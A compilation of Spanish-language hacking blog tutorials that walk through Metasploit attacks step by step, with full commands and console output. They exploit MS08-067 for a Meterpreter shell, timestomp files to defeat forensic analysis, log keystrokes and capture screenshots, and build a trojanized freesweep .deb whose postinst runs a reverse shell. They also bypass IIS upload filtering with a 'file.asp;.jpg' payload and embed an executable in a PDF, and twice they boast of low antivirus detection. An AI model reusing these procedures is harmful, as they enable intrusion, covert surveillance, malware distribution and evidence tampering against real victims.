Modificación Anti-Forense en Archivos


[Metasploit By: Shell Root]

Ahora lo que me parece muy interesante a la hora de realizar una intrusión en algún Sistema computacional, es la manipulación de archivos. Imaginemos que realizamos una intrusión y por algún motivo modificamos o creamos algún archivo, y no queremos ser detectados por los análisis forenses que se realicen en ese equipo, tendremos que eliminar la fecha de creación y modificación del archivo. Pero como lo hacemos? Entremos que recurrir a nuestro gran amigo, el Metasploit. Miremos un ejemplo:

Primero ingresaremos a la P.C con el exploit:
* exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
* windows/meterpreter/bind_tcp

Código:
                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     _/ __    ____    /  ___/____ |  |  /  _ |     __
|  Y Y    ___/|  |  / __ ____  |  |_> >  |_(  <_> )  ||  |
|__|_|  /___  >__| (____  /____  >|   __/|____/____/|__||__|
      /     /          /     / |__|

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 18 days hago (2009.12.10)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:5747 -> 192.168.0.3:4444)

meterpreter >

Ahora abriremos un canal para obtener la shell (cmd.exe):

Código:
meterpreter > shell
Process 2008 created.
Channel 1 created.
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:>

Yá tenemos la shell en nuestro poder, ahora creemos un archivo de ejemplo:

Código:
C:>echo hola>>hola.txt
echo hola>>hola.txt

Como vemos creamos un archivo llamado hola.txt, el cual contiene la palabra hola. Miremos los datos de Creación, Modificación y ultimo Acceso al Archivo.
Como dice el dicho «…Una imagen vale más que mil palabras…». Les dejo una captura de pantalla con la información del archivo.

Imagen:

Con el metasploit tambien podemos ver esta información. Así:

Código:
meterpreter > pwd
C:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500
meterpreter >

Nota: Antes que nada, nos debemos de situar donde está el archivo o poner la ruta completa. Con ayuda del comando pwd, vemos donde estamos situados actualmente y con ayuda del comando cd %Ruta%, nos situamos dentro del destino deseado.

En esté momento llego la ahora de cambiar los valores de las fechas del archivo. Hay varias partes interesantes, podemos igualar las fechas del archivo recien creado con otro que queramos que esté dentro del sistema. Por ejemplo:

C:hola.txt

Código:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500

C:httpdocsindex.html

Código:
meterpreter > timestomp C:\httpdocs\index.html -v
Modified      : 2009-12-09 22:36:14 -0500
Accessed      : 2009-12-28 15:38:59 -0500
Created       : 2009-12-09 22:36:14 -0500
Entry Modified: 2009-12-09 22:36:14 -0500
meterpreter >

Podemos igualar las fechas del archivo C:httpdocsindex.html al archivo C:hola.txt. O tambien intentar cambiar las fechas manualmente. Es decir, ingresar la fecha que nos de la gana… xD

En esté ejemplo veremos el cambio de fechas desde otro archivo. Miramos que opciones tiene el comando timestomp

Código:
meterpreter > timestomp                                

Usage: timestomp file_path OPTIONS

OPTIONS:

    -a <opt>  Set the "last accessed" time of the file
    -b        Set the MACE timestamps so that EnCase shows blanks
    -c <opt>  Set the "creation" time of the file
    -e <opt>  Set the "mft entry modified" time of the file
    -f <opt>  Set the MACE of attributes equal to the supplied file
    -h        Help banner
    -m <opt>  Set the "last written" time of the file
    -r        Set the MACE timestamps recursively on a directory
    -v        Display the UTC MACE values of the file
    -z <opt>  Set all four attributes (MACE) of the file

meterpreter >

Para ello usaremos el parametro -f %ruta_archivo%. Así:

Código:
meterpreter > timestomp C:\hola.txt -f C:\httpdocs\index.html
[*] Setting MACE attributes on C:hola.txt from C:httpdocsindex.html
meterpreter >

Miremos ahora las fechas del archivo hola.txt.
Actual:

Código:
meterpreter > timestomp C:\hola.txt -v                        
Modified      : 2009-12-09 22:36:14 -0500
Accessed      : 2009-12-28 15:38:59 -0500
Created       : 2009-12-09 22:36:14 -0500
Entry Modified: 2009-12-09 22:36:14 -0500
meterpreter >

Pasado:

Código:
meterpreter > timestomp hola.txt -v
Modified      : 2009-12-28 15:29:57 -0500
Accessed      : 2009-12-28 15:31:57 -0500
Created       : 2009-12-28 15:29:57 -0500
Entry Modified: 2009-12-28 15:29:57 -0500

Ya hemos cambiado las fechas del archivo C:hola.txt por las fechas del archivo C:httpdocsindex.html.

Nota: Con la ejecución del comando timestomp más el parametro -b.

Código:
meterpreter > timestomp C:\hola.txt -b
[*] Blanking file MACE attributes on C:hola.txt

Ponemos la fecha en un rango de fecha (01 de Enero del 1601) aun más dificil para el analizador de archivos.

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/modificacion-anti-forense-en-archivos.html

[youtube=http://www.youtube.com/watch?v=B5bESUFuF0s]

Usar Keylogger del Metasploit

[Metasploit By: Shell Root]

Una de las muchas herramientas que trae integrada el Metasploit, es un Keylogger. Podemos capturar las teclas presionadas en el P.C Remoto, ademas de poder sacar un Screenshot. Aquí veremos el uso de esté servicio del Metasploit.

Primero ingresaremos a la P.C con el exploit:
* exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:
* windows/shell/bind_tcp
* windows/shell/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp. No explicaré mucho porque para eso esta este POST de mi amigo Rcart.
http://foro.portalhacker.net/index.php/topic,93233.0.html

Código:
                __.                       .__.        .__. __.
  _____   _____/  |______    ____________ |  |   ____ |__|/  |_
 /     _/ __    ____    /  ___/____ |  |  /  _ |     __
|  Y Y    ___/|  |  / __ ____  |  |_> >  |_(  <_> )  ||  |
|__|_|  /___  >__| (____  /____  >|   __/|____/____/|__||__|
      /     /          /     / |__|

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 8 days ago (2009.12.10)

Warning: This copy of the Metasploit Framework was last updated 8 days ago.
         We recommend that you update the framework at least every other day.
         For information on updating your copy of Metasploit, please see:
             http://dev.metasploit.com/redmine/projects/framework/wiki/Updating

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.2:4367 -> 192.168.0.3:4444)

meterpreter >

Ahora que estamos dentro del P.C remoto, miremos las optiones que tiene, con el comando Help

Código:
meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ps            List running processes
    migrate       Migrate the server to another process
    use           Load a one or more meterpreter extensions

Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    keyscan_dump   Dump they keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes

meterpreter >

Nota: Solo mostraré las opciones que nos interesa.

Es la hora de iniciar nuestro keylogger, pero antes, mirelos los procesos que estan corriendo en la P.C Remota, con el comando ps

Código:
meterpreter > ps

Process list
============

    PID   Name          Path
    ---   ----          ----
    368   smss.exe      SystemRootSystem32smss.exe
    548   csrss.exe     ??C:WINDOWSsystem32csrss.exe
    576   winlogon.exe  ??C:WINDOWSsystem32winlogon.exe
    656   services.exe  C:WINDOWSsystem32services.exe
    668   lsass.exe     C:WINDOWSsystem32lsass.exe
    824   svchost.exe   C:WINDOWSsystem32svchost.exe
    840   cmd.exe       C:WINDOWSsystem32cmd.exe
    892   svchost.exe   C:WINDOWSsystem32svchost.exe
    988   svchost.exe   C:WINDOWSSystem32svchost.exe
    1040  svchost.exe   C:WINDOWSsystem32svchost.exe
    1128  svchost.exe   C:WINDOWSsystem32svchost.exe
    1384  wuauclt.exe   C:WINDOWSsystem32wuauclt.exe
    1452  Explorer.EXE  C:WINDOWSExplorer.EXE
    1512  spoolsv.exe   C:WINDOWSsystem32spoolsv.exe
    1684  alg.exe       C:WINDOWSSystem32alg.exe
    1700  wscntfy.exe   C:WINDOWSsystem32wscntfy.exe
    1800  ctfmon.exe    C:WINDOWSsystem32ctfmon.exe
    1908  inetinfo.exe  C:WINDOWSsystem32inetsrvinetinfo.exe
    1936  metsvc.exe    C:WINDOWSTEMPLsMhsBTbmetsvc.exe

meterpreter >

Ahora migremos al proceso Explorer.exe. Usaremos el comando Migrate [Numero_Proceso] . Miremos el PID del proceso Explorer.exe, es el numero 1452.

Código:
meterpreter > migrate 1452
[*] Migrating to 1452...
[*] Migration completed successfully.
meterpreter >

Ya es hora de que iniciaremos el Keylogger con el comando keyscan_start

Código:
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter >

Ahora con ayuda del comando keyscan_dump , veremos las teclas presionadas en la P.C Remota.

Código:
meterpreter > keyscan_dump
Dumping captured keystrokes...
net user <Return>  <Ctrl>  <LCtrl>  <Alt>  <LMenu>
meterpreter >

Ahora miremos la opción de sacar un ScreenShot de la P.C Remota, para ello usaremos el plugin espia del metasploit.

Código:
meterpreter > use espia
Loading extension espia...success.
meterpreter >

Despues con el comando screenshot [Ruta_Archivo_Salida] sacaremos una captura de pantalla de la P.C Remota.

Código:
meterpreter > screenshot /Prueba.bmp
[*] Image saved to /Prueba.bmp
meterpreter >

Imagen:

Con esto damos por concluida el uso del Keylogger y lo pausamos con el comando keyscan_stop

Código:
meterpreter > keyscan_stop
Stopping the keystroke sniffer...
meterpreter >

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/usar-keylogger-del-metasploit.html

[youtube=http://www.youtube.com/watch?v=f8_M6V3xILE]

Infectando Linux con Troyano

Ahora despues de mirar algunos exploits, me di a la busqueda de infectar con un troyano a Linux, más especificamente Ubuntu 9.10. Este tutorial, se hace semejante al tutorial [Metasploit] Generando Ejecutable con PAYLOAD (http://foro.elhacker.net/hacking_avanzado/metasploit_generando_ejecutable_con_payload-t279407.0.html), el cual convertimos un PAYLOAD en un archivo ejecutable para infectar a Windows, ahora harémos lo mimos, pero para infectar Linux.

Para no levantar sospechas descargaremos un juego, en esté caso «Freesweep«, para despues infectarlo con el PAYLOAD.

Código:
shellroot@shellroot-desktop:~$ sudo apt-get --download-only install freesweep
[sudo] password for shellroot:
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias      
Leyendo la información de estado... Hecho
Se actualizarán los siguientes paquetes:
  freesweep
1 actualizados, 0 se instalarán, 0 para eliminar y 183 no actualizados.
Necesito descargar 39,2kB de archivos.
Se utilizarán 172kB de espacio de disco adicional después de esta operación.
Des:1 http://co.archive.ubuntu.com karmic/universe freesweep 0.90-2 [39,2kB]
Descargados 39,2kB en 2s (19,1kB/s)
Descarga completa y en modo de sólo descarga
shellroot@shellroot-desktop:~$

Creamos una carpeta donde quedaran los archivos organizadamente. En este caso la pondre en /home/shellroot/

Código:
shellroot@shellroot-desktop:~$ mkdir /home/shellroot/Troyano
shellroot@shellroot-desktop:~$

Ahora el archivo que descargamos al inicio lo movemos dentro de la carpeta que acabamos de crear (/home/shellroot/Troyano).

Código:
shellroot@shellroot-desktop:~$ sudo mv /var/cache/apt/archives/freesweep_0.90-2_i386.deb /home/shellroot/Troyano
shellroot@shellroot-desktop:~$

Nos posicionamos dentro de la carpeta /home/shellroot/Troyano y modifcamos los permisos de la carpeta.

Código:
shellroot@shellroot-desktop:~$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ chmod 777 /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$

Descomprimimos el archivo freesweep_0.90-2_i386.deb, dentro de la carpeta /home/shellroot/Troyano, para añadirle la infeccion del PAYLOAD.

Código:
shellroot@shellroot-desktop:~/Troyano$ dpkg -x freesweep_0.90-2_i386.deb Juego
shellroot@shellroot-desktop:~/Troyano$

Ahora crearemos una carpeta que llamaremos DEBIAN, dentro de ella crearemos 2 archivos.

  • control
  • postinst
Código:
shellroot@shellroot-desktop:~/Troyano$ mkdir Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano$ cd Juego/DEBIAN
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

Dentro del archivo control, pondremos la siguiente informacion:

Código:
Package: freesweep
Version: 0.90-1
sección: Juegos y Diversion
Prioridad: Media
Arquitectura: i386
Creado: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Descripcion: Buscaminas es una implementación del popular juego de minas, donde se intenta encontrar todas las minas sin encender ninguna, en base a sugerencias dadas por el equipo.

Ahora dentro del archivo postinst, pondremos un Script para la ejecucion de nuestro archivo infectado.

Código
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

Ahora crearemos el troyano con el PAYLOAD  linux/x86/shell/reverse_tcp, damos los parametros de LHOST y LPORT y la ubucacion del archivo infectado.

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 X > /home/shellroot/Troyano/Juego/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
 Length: 50
Options: LHOST=192.168.142.137,LPORT=1234
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

Ahora modifcamos los permisos del archivo postinst, y construiremos de nuevo el archivo que supuestamente es el «Juego».

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ chmod 755 postinst
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ dpkg-deb --build /home/shellroot/Troyano/Juego/
dpkg-deb: construyendo el paquete `freesweep' en `/home/shellroot/Troyano/Juego.deb'.
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$

La re-contruccion creara el archivo Juego.deb el cual debemos cambiar por freesweep.deb, asi que nos movemos a la carpeta /home/shellroot/Troyano, despues, lo moveremos a la Raiz del Servidor Web para su proxima descarga e infeccion.

Código:
shellroot@shellroot-desktop:~/Troyano/Juego/DEBIAN$ cd /home/shellroot/Troyano
shellroot@shellroot-desktop:~/Troyano$ mv Juego.deb freesweep.deb
shellroot@shellroot-desktop:~/Troyano$ sudo cp freesweep.deb /var/www/
[sudo] password for shellroot:
shellroot@shellroot-desktop:~/Troyano$

Iniciamos el Servidor del Apache

Código:
shellroot@shellroot-desktop:~/Troyano$ sudo /etc/init.d/apache2 start
 * Starting web server apache2                                                                   apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName
httpd (pid 1576) already running
                                                                                          [ OK ]
shellroot@shellroot-desktop:~/Troyano$

Ahora como cuando lo hicimos con Windows, debemos de usar el Auxiliary multi/handler, configurarlo de la misma manera que cuando creamos el PAYLOAD y esperar a que la victima descargue e ejecute el archivo infectado.

Código:
shellroot@shellroot-desktop:~$ sudo msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.142.137 LPORT=1234 E
[sudo] password for shellroot:
[*] Please wait while we load the module tree...
[*] Starting the payload handler...
[*] Started reverse handler on port 1234

Ahora supongamos que somos la victima y descargamos el archivo.

Código:
hacklab@hacklab-desktop:~$ wget http://192.168.142.137/freesweep.deb
--2010-01-21 23:36:27--  http://192.168.142.137/freesweep.deb
Conectando a 192.168.142.137:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 39214 (38K) [application/x-debian-package]
Guardando: «freesweep.deb»

100%[=======================================================>] 39.214      --.-K/s   en 0s      

2010-01-21 23:36:29 (93,0 MB/s) - `freesweep.deb' guardado [39214/39214]

hacklab@hacklab-desktop:~$

Despues de descargado el archivo, lo instalamos.

Código:
hacklab@hacklab-desktop:~$ sudo dpkg -i freesweep.deb

Ahora miramos el multi/handler y voala, una session del Meterpreter

Código:
[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.142.137:1234 -> 192.168.142.140:41233)

Bug Microsoft IIS


By: Shell Root

Mucho tiempo atrás, vimos del Bug del Internet Information Server, ahora explicaré la forma de exploitarlo, usando a mi mejor amigo, Metasploit!. En que consiste este fallo?, Este fallo permite a un usuario subir un archivo «seguro» con extensión (jpg, png, etc) para cargar un script de ASP y obligar la ejecución del archivo dentro del servidor web.Pero como?, El error se produce cuando un nombre de archivo especificado en la forma de «Archivo.asp;. jpg», la aplicación comprueba la extensión del archivo y ve a «.jpg», pero el servidor IIS se detiene a analizar el primero «;» y ve «.asp».

Recordando un poco mi profesión (Desarrollador de Software), vamos a realizar un ejemplo practico, de como seria el upload en tiempo real y como seria el bypassin del script malicioso con la extensión .asp

Miremos el upload vulnerable! (Codeado en Visual Studio .NET)
Default.aspx

Código:
<%@ Page Language="VB" AutoEventWireup="false" CodeFile="Default.aspx.vb" Inherits="_Default" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title>Upload By: Shell Root</title>
</head>
<body>
    <form id="form1" runat="server">
    <div>

        <table style="width: 35%;">
            <tr>
                <td colspan="2" align="center"><h1>Upload By: Shell Root</h1></td>
            </tr>
            <tr>
                <td></td>
                <td></td>
            </tr>
            <tr>
                <td colspan="2" align="center">
                    <asp:FileUpload ID="FileUpload1" runat="server" Width="236px" />
                </td>
            </tr>
            <tr>
                <td colspan="2" align="center">
                    <asp:Button ID="BtnSubir" runat="server" Text="Subir" style="height: 26px" />
                </td>
            </tr>
        </table>

    </div>
    </form>
</body>
</html>

Default.aspx.vb

Código:
Partial Class _Default
    Inherits System.Web.UI.Page

    Protected Sub BtnSubir_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles BtnSubir.Click
        Try
            Dim fileName As String = Server.HtmlEncode(Me.FileUpload1.FileName)
            Dim extension As String = System.IO.Path.GetExtension(fileName)

            If (Me.FileUpload1.HasFile) Then
                If (extension = ".jpg") Or (extension = ".gif") Or (extension = ".png") Or (extension = ".jpg") Then
                    Me.FileUpload1.SaveAs(Server.MapPath("~/Imagenes/" & FileUpload1.FileName))
                Else
                    MsgBox("Error la extension de la foto debe ser tipo: .jpg, .gif, .png", MsgBoxStyle.Critical, "Error de Formato")
                End If
            End If
        Catch ex As Exception
            MsgBox("Error: " & ex.Message, MsgBoxStyle.Critical, "Error")
        End Try
    End Sub
End Class

Ahora ya tenemos el upload, tratemos de ingresar un archivo con extension no permitida, nos saldra el mensaje Error la extension de la foto debe ser tipo: .jpg, .gif, .png, pero si ingresamos una imagen verdadera con las extensiones permitidas, vemos que se puede visualizar si ingresamos a la URL http://localhost/Bug%20IIS/Imagenes/.

Ya tenemos el upload verificado, ahora vamos a crear un script malicioso, que nos devolvera una session del meterpreter. Así:

Código:
shellroot@shellroot-desktop:~$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.142.137 LPORT=1234 R | msfencode -o /home/shellroot/evil.asp[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)

Ingresamos a la consola del Metasploit, configuramos el multi/handler con los datos anteriores y lo ejecutamos.

Código:
shellroot@shellroot-desktop:~$ msfconsole
                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / _|/ _|/  /  _|  |
  |  |  |_/|__/|_/_/|_/ / |__/ |__/__/ |_/|_/
                           /|
                           |                  

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 503 exploits - 248 auxiliary
+ -- --=[ 193 payloads - 23 encoders - 8 nops
       =[ svn r8404 updated today (2010.02.08)

msf > use multi/handler
reverse_tcp(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.142.137
LHOST => 192.168.142.137
msf exploit(handler) > set LPORT 1234
LPORT => 1234
msf exploit(handler) > exploit[*] Started reverse handler on 192.168.142.137:1234[*] Starting the payload handler...

Ahora al archivo malicioso, le cambiamos el nombre de Archivo.asp a Archivo.asp;.jpg. Con esto bastará para bypassear el upload y ademas ejecutar el archivo malicioso dentro del servidor. Vamos al upload, lo buscamos y lo subimos, ahora, Como lo ejecutamos? Ingresamos a la URL http://localhost/Bug%20IIS/Imagenes/Archivo.asp;.jpg, con esto el servidor interpretará solo hasta Archivo.asp (Es lo unico que nos interesa que interprete). Con esto ejecutamos el archivo, miramos el multi/handler y woala, una session del meterpreter.

Código:
[*] Meterpreter session 1 opened (192.168.142.137:1234 -> 192.168.142.1:7752)

PD: En el siguiente enlace, podeis ver que el archivo malicioso no es detectado por lo antivirus. Multi-Engine Antivirus Scanner – Services – NoVirusThanks.org

Cita:
File Info

Report date: 8.2.2010 at 22.49.59 (GMT 1)
File name: Archivo.asp
File size: 316058 bytes
MD5 Hash: 03dc8eb3c6debe8d6fa7ebfd8a526b53
SHA1 Hash: 6202F26B60FAA2255B1AF6251508E32C33CCF8FA
Detection rate: 0 on 20
Status: CLEAN

Scan report generated by NoVirusThanks.org

By: Shell Root

Incrustar ejecutable dentro de un archivo de Adobe PDF

Retomando un poco lo que es la herramienta ‘Metasploit‘, encontré un exploit donde podemos realizar una incrustación de un archivo ejecutable dentro de un archivo de Adobe PDF.

Descripción del Exploit
Ubicación:/windows/fileformat/adobe_pdf_embedded_exe
Nombre:
Adobe PDF Embedded EXE Social Engineering
Versión:
0
Plataforma:Windows
Licencia:Metasploit Framework License (BSD)
Rango:
Excelente
Proporciando por:Colin Ames amesc@attackresearch.com>
Objetivos disponibles:
Adobe Reader v8.x, v9.x (Windows XP SP3 English)
Descripción:
Este módulo del Metasploit incorpora una carga de un archivo PDF existente.
Como podemos ver, el exploit, solo funciona con sistema operativo windows xp en ingles (Windows XP … English), pero aquí lo haremos portable a un windows en español, ya que es él que nos interesa.

Después de esta breve definición del exploit, vamos a ver como funciona este exploit, primero que todo, para que nos funcione dentro de un sistema operativo windows xp en español, vamos a la linea 232 del exploit, donde reemplazamos este código:

ruby Código:

 

 

  1. 232.  dirs = [ «Desktop», «My Documents», «Documents» ]

 

 

 

por este:

ruby Código:

 

 

  1. 232.  dirs = [ «Desktop», «My Documents», «Documents», «Escritorio», «Mis Documentos»]

 

 

 

Como vemos de añadimos algunos parámetros necesarios para que nuestro exploit corra en un windows en ingles como también en un windows en español. Después de realizar esto, vamos a generar nuestro PoC!

Abrimos la consola del Metasploit, seleccionamos el exploit, y le ingresamos los parámetros necesarios y lo lanzamos. Inmediatamente se creara el PoC con el archivo pdf «infectado».

Código:
root@bt:/opt/metasploit3/msf3# msfconsole

               o                       8         o   o
               8                       8             8
ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

     =[ metasploit v3.4.0-dev [core:3.4 api:1.0]
+ -- --=[ 540 exploits - 256 auxiliary
+ -- --=[ 207 payloads - 23 encoders - 8 nops
     =[ svn r9040 updated today (2010.04.07)

msf > use windows/fileformat/adobe_pdf_embedded_exe
msf exploit(adobe_pdf_embedded_exe) > show options

Module options:

 Name        Current Setting   Required  Description
 ----        ---------------   --------  -----------
 EXENAME                       no        The Name of payload exe.
 FILENAME    evil.pdf          no        The output filename.
 INFILENAME                    yes       The Input PDF filename.
 OUTPUTPATH  ./data/exploits/  no        The location to output the file.

Exploit target:

 Id  Name
 --  ----
 0   Adobe Reader v8.x, v9.x (Windows XP SP3 English)

msf exploit(adobe_pdf_embedded_exe) > set OUTPUTPATH /root/
OUTPUTPATH => /root/
msf exploit(adobe_pdf_embedded_exe) > set FILENAME PoC_PDF_EXE.pdf
FILENAME => PoC_PDF_EXE.pdf
msf exploit(adobe_pdf_embedded_exe) > set EXENAME /root/cmd.exe
EXENAME => /root/cmd.exe
msf exploit(adobe_pdf_embedded_exe) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(adobe_pdf_embedded_exe) > set INFILENAME /root/PoC_PDF_EXE_File.pdf
INFILENAME => /root/PoC_PDF_EXE_File.pdf
msf exploit(adobe_pdf_embedded_exe) > exploit[*] Started bind handler[*] Reading in '/root/PoC_PDF_EXE_File.pdf'...[*] Parsing '/root/PoC_PDF_EXE_File.pdf'...[*] Parsing Successful.[*] Using '/root/cmd.exe' as payload...[*] Creating 'PoC_PDF_EXE.pdf' file...[*] Generated output file /root/PoC_PDF_EXE.pdf[*] Exploit completed, but no session was created.
msf exploit(adobe_pdf_embedded_exe) >

PD: El exploit trabaja con un payload de por medio, como vieron solo seleccione el payload bind_tcp, ya que no surge ningun efecto a la hora de ejecutar el PoC. Esto si seria necesario a la hora de ejecutar un payload convertido en ejecutable.

Nos genero el archivo PDF correctamente, ahora miremos nuestro PoC en acción.

Miremos que nos dice el Scanner de NoVirusThanks:

File Info

Report date: 2010-04-08 07:14:17 (GMT 1)
File name: PoC_PDF_EXE.pdf
File size: 1698671 bytes
MD5 Hash: 23d92e4f9b132150d002d014eb772529
SHA1 Hash: 20f0caceffefa8958ffa7638657393ae2d34e3c1
Detection rate: 2 on 20 (10% )
Status: INFECTED

Detections

a-squared – –
Avast – JS:Pdfka-XN [Expl]
AVG – –
Avira AntiVir – –
BitDefender – Exploit.PDF-Dropper.Gen
ClamAV – –
Comodo – –
Dr.Web – –
Ewido – –
F-PROT6 – –
G-Data – –
Ikarus T3 – –
Kaspersky – –
McAfee – –
NOD32 – –
Panda – –
Solo – –
TrendMicro – –
VBA32 – –
Zoner – –

Scan report generated by NoVirusThanks.org